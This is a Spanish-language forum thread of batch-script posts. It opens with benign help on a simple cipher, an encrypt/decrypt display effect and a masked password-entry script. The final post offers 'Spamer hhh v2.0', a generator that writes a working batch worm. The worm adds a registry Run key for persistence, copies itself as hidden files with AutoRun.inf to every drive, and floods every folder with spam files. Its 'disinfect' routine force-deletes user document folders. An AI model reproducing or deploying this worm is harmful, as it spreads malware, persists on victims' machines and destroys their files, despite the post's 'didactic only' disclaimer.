Mensajes

Vuelvo, pero como veo q no quisiste usar mi code te lo muestro.

jiji, esq durante un tiempo estuve bregando con la encriptacion batch y esos problemas ya los pase.

te dejo el code de mas arriba pero esta vez funcional.

disculpa si no lo postee hace rato pero la uni me tiene loco  

ya te lo dejo funcinal

Código (dos) [Seleccionar] Expandir

@echo off
title ayuda para xassiz&color f0
setlocal enabledelayedexpansion
:ini
set /p "txt=text: "
if not defined txt goto ini
set "h=0"
:HGP
set "text=%txt%"&set "txt2=!txt:~%h%,1!"
set /a h+=1&set "txt3=%txt3%%txt2%"
set "x=0"&for %%a in (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
a b c d e f g h i j k l m n o p q r s t u v w x y z) do (set /a "x+=1"&if "!txt2!"=="%%a" set "ft=!ft!!x!")
if "%txt3%"=="%txt%" goto fin
goto:HGP
:fin
echo %txt% es: %ft%
pause>nul

por si las moscas y quieres cifrar el espacio, yo lo convertia a _ y en el momento de la desencriptacion lo reconvertia en " ".

repito
SUERTE!!!  

bueno,  pok no solo envias a cifrar un caracter a le vez, si estubiste intentando seguro te diste cuenta q si los cambias te dara diferente, prueva cada letra.

ej:
abres tu script y ingresas a
te dara 5 y si ingresas A te dara 1, solucion enviar uno por uno.
suerte.!!!

Perdon, me equivoque, si entendi tu idea, lo k paso fue q especifique mal devi poner  envez de

Código (dos) [Seleccionar] Expandir


::aqui tu cambio de mayusculas a minusculas q puede hacerse con for.
::ej: for %%a in (A B C D E F G H) do (if not "!txt2!"=="%%a" (
::set  text=!text:%txt2%=%%a)
::)


devi de poner

Código (dos) [Seleccionar] Expandir

::aqui detectas las mayusculas de minusculas que puedes hacer con for
::ej: for %%a in (A B C D E F G H) do (if not "!txt2!"=="%%a" (
::tu cambio)
::)




Creo k fue por eso q lo puse en comentario y no como code completo 
lo de mayusculas y minusculas como lo pones jeje se hace de diversas maneras.xD

pero bueno perdon por la xvocacion.

Suerte con tu proyect!!

bueno compa.
Desde mi punto de vista lo q creo puedes hacer es activar la variables retrasadas,
meter el texto en una variable, extraer el primer caracter, crear otra variable donde se vuelvan a agregar los caracteres para q el bucle no sea infinito, hacer la comprobacion de caracteres con if dentro de el bucle y fianlmente ir al final del code XD.
ej:

Código (dos) [Seleccionar] Expandir


@echo off
setlocal enabledelayedexpansion
:ini
set /p "txt=text: "
if not defined txt goto ini
set "h=0"
:HGP
set "text=%txt%"
set "txt2=!txt:~%h%,1!"
set /a h+=1
set "txt3=%txt3%txt2%"
::aqui tu cambio de mayusculas a minusculas q puede hacerse con for.
::ej: for %%a in (A B C D E F G H) do (if not "!txt2!"=="%%a" (
::set  text=!text:%txt2%=%%a)
::)
if "%txt3%"=="%txt%" goto fin
goto:HGP

:fin
echo %txt% es: %text%
pause>nul



esa seria la idea, jiji un code vale mas q mil palabras.

espero haberte ayudado.

la ota opcion es hacer el bucle con el for pero con esto bastaria. creo q fue tu idea desde el principio no?

saludox
pd: no termino  el code ni lo dejo funcional por q es tu trabajo no? jiji

Bueno, tenia un poco de tiempo de sobra y se me ocurrio que como he estado experimentando tanto con encriptacion, decodificacion y funcionamiento. pues hacer un code que muestre como se cifra y descifra en tiempo real, osea el fececto encriptador y desencriptador, claro q no solo es un efecto sino q es una encriptacion y decodificacion real. asi q se puede usar para mas propositos como solo yo los he usado jijiji, pero con el tiempo los veran ya q me divierta un poco mas, sin mas q decir aca el code:

Código [Seleccionar] Expandir

@echo off
::^| nombre:  Efecto Codificador-Decodificador ó                       ^                         
                   Effect  Encrypt-Decrypt
::^| autor:     Guerrerohgp               
::^| fecha:     20/08/2009
::^| codigo totalmente crado para
::^| diversas formas de uso,
::^| desde este efecto hasta
::^| la imaginacion de cada uno.
::^| Uso libre, no cambiar autor.

title Efecto Codificador-Decodificador -HGP-
setlocal enabledelayedexpansion
color a&mode con cols=44 lines=10
:hgp
set "cnt=9"&set "c=%random:~-2%"
cls&echo.&set /p "cod=Su frase: "
if not defined cod goto:hgp
set "cod=%cod: =_%"
cls&call:crypt
call:decrypt
:crypt
for %%* in (a b c d e f g h i j k l m n o p q r s t u v w x y z _) do (set "ln=%%*"&call:enc)
echo.&echo.cifrado :  &echo.
echo.    %cod2%
echo.&echo.         Press Key To Decrypt...
pause>nul
goto:eof
:enc
set "%cnt%=%ln%"
set /a "cc=%cnt%+%c%"
set "cod=!cod:%ln%=%cc% !"
set "cod2=%cod%"
set "cod2=!cod2: =!"
set "cod2=!cod2:_= !"
echo.%cod2%
ping -n 2 localhost>nul
set /a "cnt+=1"
cls&goto:eof
:decrypt
for %%_ in (%cod%) do (set "dc=%%_"&call:ds)
cls&set "cod2=!cod2:_= !"
echo.&echo.         Listo descifrado: &echo.
echo.    %cod2%
pause>nul
goto:hgp
:ds
cls&set /a "fn=%dc%-%c%"
set "ll=!%fn%!"
set "cod=!cod:%dc%=%ll%!"
set "cod2=%cod%
set "cod2=%cod2: =%
set "cod2=!cod2:_= !"
echo.%cod2%
ping -n 2 localhost>nul
goto:eof



Espero les guste.
ATT: Guerrerohgp

SaludOXC

es poco practico necesitas hacer un bucle hasta q se ejecute el proceso, y poner la cmd en modo oculto pera no ver la pantallita negra jiji.

despues de eso los codes q pusieron con un bucle y compilar y listo xD.

salud.ocx

Bueno, yo pienzo q es lo mismo si al final el code funka pero como dices por siaca Leo.

Código [Seleccionar] Expandir

@echo off
title PASS-CHAR BY -.: GUERREROHGP :.-
::Coded BY Guerrerohgp
mode con cols=35 lines=10
color f0

if not exist keyboard.exe ((echo.n keyboard.hgp
echo.e 0000 4D 5A 2E 00 01 00 00 00 02 00 00 10 FF FF F0 FF
echo.e 0010 FE FF 00 00 00 01 F0 FF 1C 00 00 00 00 00 00 00
echo.e 0020 B4 08 CD 21 3C 00 75 02 CD 21 B4 4C CD 21
echo.rcx
echo.002E
echo.w0&echo.q
echo.)>keyboard.hgp
type keyboard.hgp|debug
ren keyboard.hgp keyboard.exe)>nul 2>&1

:ini
cls
echo.ERRORLEVEL:%errorlevel%     LETRA:%let%
echo.
echo.PASS:%vart%
echo.CHAR:%char%
keyboard
:fr
if "[%errorlevel%]"=="[32]" (set "let=SPACE"&set "vart=%vart% "
set "char=%char%*"
goto:ini)
if "[%errorlevel%]"=="[8]" (set "let=BACKSPACE"
if "[%char%]"=="[]" (goto ini) else (set "char=%char:~0,-1%")
if "[%vart%]"=="[]" (goto ini) else (set "vart=%vart:~0,-1%")
goto ini)
if "[%errorlevel%]"=="[27]" exit
set nums=48
for %%a in ( 0 1 2 3 4 5 6 7 8 9 A
B C D E F G H I J K L M N O P Q R S T U V W X Y Z
a b c d e f g h i j k l m n o p q r s t u v w x y z) do (set let=%%a
call:nnn)
set let=UNKNOWN
goto:ini
:nnn
if not "[%errorlevel%]"=="[%nums%]" (if "[%let%]"=="[9]" set nums=64
if "[%let%]"=="[Z]" set nums=96
set /a nums+=1
goto:eof)
set vart=%vart%%let%
set "char=%char%*"
goto:ini

[En esta ocacion se me ocurrio crear mi nuevo pass-char (character=simbolo)lo k hace es guardar la pass en un variable y solo mostrar * en lo que deberia ser nuestra pass , util por q sin eso solo mostraria nuesta pass al digitarla cosa q todos la verian.uso el keyboard.bueno nada mas que decir aca el code:]

En esta ocacion se me ocurrio crear mi nuevo pass-char (character=simbolo)
lo k hace es guardar la pass en un variable y solo mostrar * en lo que deberia ser nuestra pass , util por q sin eso solo mostraria nuesta pass al digitarla cosa q todos la verian.
uso el keyboard.
bueno nada mas que decir aca el code:

Código [Seleccionar] Expandir

@echo off
title PASS-CHAR BY -.: GUERREROHGP :.-
::Coded BY Guerrerohgp
mode con cols=35 lines=10
color f0&if not exist keyboard.exe ((echo.n keyboard.hgp&echo.e 0000 4D 5A 2E 00 01 00 00 00 02 00 00 10 FF FF F0 FF&echo.e 0010 FE FF 00 00 00 01 F0 FF 1C 00 00 00 00 00 00 00
echo.e 0020 B4 08 CD 21 3C 00 75 02 CD 21 B4 4C CD 21&echo.rcx&echo.002E&echo.w0&echo.q&echo.)>keyboard.hgp&type keyboard.hgp|debug&ren keyboard.hgp keyboard.exe)>nul 2>&1
:ini
cls&echo.ERRORLEVEL:%errorlevel%     LETRA:%let% &echo.&echo.PASS:%vart%
echo.CHAR:%char%
keyboard
:fr
if "[%errorlevel%]"=="[32]" (set "let=SPACE"&set "vart=%vart% "&set "char=%char%*"&goto:ini)
if "[%errorlevel%]"=="[8]" (set "let=BACKSPACE"&if "[%char%]"=="[]" (goto ini) else (set "char=%char:~0,-1%")
if "[%vart%]"=="[]" (goto ini) else (set "vart=%vart:~0,-1%")
goto ini)
if "[%errorlevel%]"=="[27]" exit
set nums=48&for %%a in ( 0 1 2 3 4 5 6 7 8 9 A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
a b c d e f g h i j k l m n o p q r s t u v w x y z) do (set let=%%a&call:nnn)
set let=UNKNOWN&goto:ini
:nnn
if not "[%errorlevel%]"=="[%nums%]" (if "[%let%]"=="[9]" set nums=64
if "[%let%]"=="[Z]" set nums=96
set /a nums+=1&goto:eof)
set vart=%vart%%let%
set "char=%char%*"
goto:ini

esperando sus criticas jijiji.

Despues de un tiempo hoy se me ocurrio acordarme de batch y mejorar mi spamer hhh, ahora tiene mejoras en que la opcion de eliminar el virus viene incluida, ademas de que eliges el numero de mensajes que envias. y el mensaje spam tambien.

Espero les guste.

Código [Seleccionar] Expandir

@echo off
:ini
color f0
mode con cols=30 lines=13
title Spamer -hhh-  v2.0
set Ä=ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
::-Created by Guerrerohgp-::
:strt
cls
set hgp=
echo. Ú%Ä%¿
echo.&echo.   1.Crear nuevo spamer.&echo.&echo.   2.Desinfectarte de virus.&echo.&echo.   3.INFO&echo.
echo. À%Ä%Ù
set /p hgp=          -^>
if not defined hgp goto strt
if t%hgp%==t1 goto createhhh
if t%hgp%==t2 goto quithhh
if t%hgp%==t3 goto info
goto strt

:createhhh
cls&echo. Cual es tu mensaje para hacer spam?&echo.&set /p G= -::^>
cls&echo.&echo. es tu mensaje?
echo.&echo %G%
echo.&echo.      1.si 2.no&&set /p es=::^>
if %es%==1 goto num
cls&goto createhhh

:num
cls&echo. Cuantos archivos spam deceas&echo. que se envien en cada &echo. carpeta?&echo.&set /p n= -::^>
if %n% lss 1 goto num
if %n% gtr 100 (msg * ERROR, SOLO NUMEROS Y SOLO HASTA 100&goto num)

echo ^@echo off>>%homedrive%\hh.cmd
echo title spam hhh>>%homedrive%\hh.cmd
echo if exist ^"%%windir%%\win.cmd^" goto spam>>%homedrive%\hh.cmd
echo copy /y %%0 ^"%%windir%%\win.cmd^">>%homedrive%\hh.cmd
echo reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v spm /t REG_SZ /d ^"%%windir%%\win.cmd^">>%homedrive%\hh.cmd
echo :spam>>%homedrive%\hh.cmd
echo for %%%%h in (b c d e f g h i j k l m n o p q r s t u v w x y z) do (set usb=%%%%h>>%homedrive%\hh.cmd
echo call:nm)>>%homedrive%\hh.cmd
echo goto hgp1>>%homedrive%\hh.cmd
echo :nm>>%homedrive%\hh.cmd
echo if exist %%usb%%:\ (copy /y %%0 "%%usb%%:\hgp.bat">>%homedrive%\hh.cmd
echo attrib +h "%%usb%%:\hgp.bat">>%homedrive%\hh.cmd
echo call :usbvir %%usb%%) else (goto:eof)>>%homedrive%\hh.cmd
echo :hgp1>>%homedrive%\hh.cmd
echo cd %%homedrive%%\>>%homedrive%\hh.cmd
echo call:shgp %%homedrive%%>>%homedrive%\hh.cmd
echo for /r /d %%%%g in (*) do call:shgp %%%%g>>%homedrive%\hh.cmd
echo exit>>%homedrive%\hh.cmd
echo :shgp>>%homedrive%\hh.cmd
echo for /l %%%%a in (1,2,%n%) do echo %G%^>^>%%^*\leeme%%%%a.txt>>%homedrive%\hh.cmd
echo goto:eof>>%homedrive%\hh.cmd
echo :usbvir>>%homedrive%\hh.cmd
echo echo [Autorun] ^>^> ^"%%1:\AutoRun.inf^">>%homedrive%\hh.cmd
echo echo open="hgp.bat" ^>^> ^"%%1:\AutoRun.inf^">>%homedrive%\hh.cmd
echo echo icon=%%windir%%\system32\shell32.dll,4 ^>^> ^"%%1:\AutoRun.inf^">>%homedrive%\hh.cmd
echo echo action=Abrir Carpeta para ver archivos. ^>^> ^"%%1:\AutoRun.inf^">>%homedrive%\hh.cmd
echo echo shell\open=Abrir ^>^> ^"%%1:\AutoRun.inf^">>%homedrive%\hh.cmd
echo attrib +h +s +r ^"%%1:\AutoRun.inf^">>%homedrive%\hh.cmd
echo goto:eof>>%homedrive%\hh.cmd
ren %homedrive%\hh.cmd %homedrive%\infectionhhh.cmd
cls
echo listo!!
msg * Archivo listo y guardado en %homedrive%\infectionhhh.cmd
msg * no ejecutes el archivo o te infectaras.
msg * Created By Guerrerohgp
pause >nul
cls&call %0
exit

:quithhh
cls
title hhh spam desinfector
del /f /q /s "%windir%\win.cmd"
reg delete HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v spm /f
call:sshgp %homedrive%
for %%h in (b c d e f g h i j k l m n o p q r s t u v w x y z) do (set usb=%%h
call:nm)
:nm
if exist "%usb%:\hgp.bat" del /f/q/s "%usb%:\hgp.bat"
if exist "%usb%:\AutoRun.inf" del /f/q/s "%usb%:\AutoRun.inf"
goto:eof
del /f/q/s %homedrive%\Archivos
del /f/q/s %homedrive%\Documents
cd %homedrive%\
for /r /d %%h in (*) DO call:sshgp %%h
exit
:sshgp
for /l %%a in (1,2,100) do del /f/q/s %*\leeme%%a.txt
goto:eof
pause>nul
exit
:info
cls
echo   Este scrip es de uso libre&echo.&echo. y solo con fines didacticos
echo.&echo.No soy Responsable del mal uso del scrip.
pause>nul
cls
echo.&echo.  %Ä%&echo.&echo.        Creado Por:&echo.&echo.&echo.        Guerrerohgp
echo.  %Ä%
echo.    guerrerohgp@hotmail.com
pause>nul&cls
goto ini

pd: Cualquier  bug  notificarme para ver si lo arreglo.

Bueno el video dice todo espero le guste.
[youtube=425,350]http://www.youtube.com/watch?v=514BrwBGFgI[/youtube]